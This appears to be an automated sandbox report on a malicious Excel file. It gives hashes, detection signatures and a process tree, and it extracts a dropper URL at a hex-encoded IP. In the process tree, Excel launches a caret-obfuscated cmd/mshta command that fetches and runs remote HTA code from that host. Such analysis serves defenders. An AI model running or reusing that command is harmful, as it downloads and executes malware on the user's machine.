Analysis

  • max time kernel
    131s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 19:58

General

  • Target

    7d3d594c05fa0fb042254c0eea69c93a740d792b77162f0f35f1b1e27e13c9f9.xls

  • Size

    141KB

  • MD5

    2ac4ff27a56fa6f694dfbe016b3b5a94

  • SHA1

    7de26753f23cc2aaf457eeeffc2d5703ffce8c53

  • SHA256

    7d3d594c05fa0fb042254c0eea69c93a740d792b77162f0f35f1b1e27e13c9f9

  • SHA512

    e6e6405d26088e3854674ab4f315a18a0b55fdc3874ebf09b29abb754c342b9eb9c5d0800d124000f9f8e27b45d67368c43b3d047c6819e64d17cc3f023012ee

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fer.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7d3d594c05fa0fb042254c0eea69c93a740d792b77162f0f35f1b1e27e13c9f9.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3956
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2064
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2696
        • C:\Windows\system32\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          PID:3064

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/3956-115-0x00007FF893410000-0x00007FF893420000-memory.dmp

      Filesize

      64KB

    • memory/3956-116-0x00007FF893410000-0x00007FF893420000-memory.dmp

      Filesize

      64KB

    • memory/3956-117-0x00007FF893410000-0x00007FF893420000-memory.dmp

      Filesize

      64KB

    • memory/3956-118-0x00007FF893410000-0x00007FF893420000-memory.dmp

      Filesize

      64KB

    • memory/3956-121-0x00007FF893410000-0x00007FF893420000-memory.dmp

      Filesize

      64KB

    • memory/3956-128-0x00007FF88FA70000-0x00007FF88FA80000-memory.dmp

      Filesize

      64KB

    • memory/3956-129-0x00007FF88FA70000-0x00007FF88FA80000-memory.dmp

      Filesize

      64KB

    • memory/3956-497-0x00007FF893410000-0x00007FF893420000-memory.dmp

      Filesize

      64KB

    • memory/3956-498-0x00007FF893410000-0x00007FF893420000-memory.dmp

      Filesize

      64KB

    • memory/3956-499-0x00007FF893410000-0x00007FF893420000-memory.dmp

      Filesize

      64KB

    • memory/3956-500-0x00007FF893410000-0x00007FF893420000-memory.dmp

      Filesize

      64KB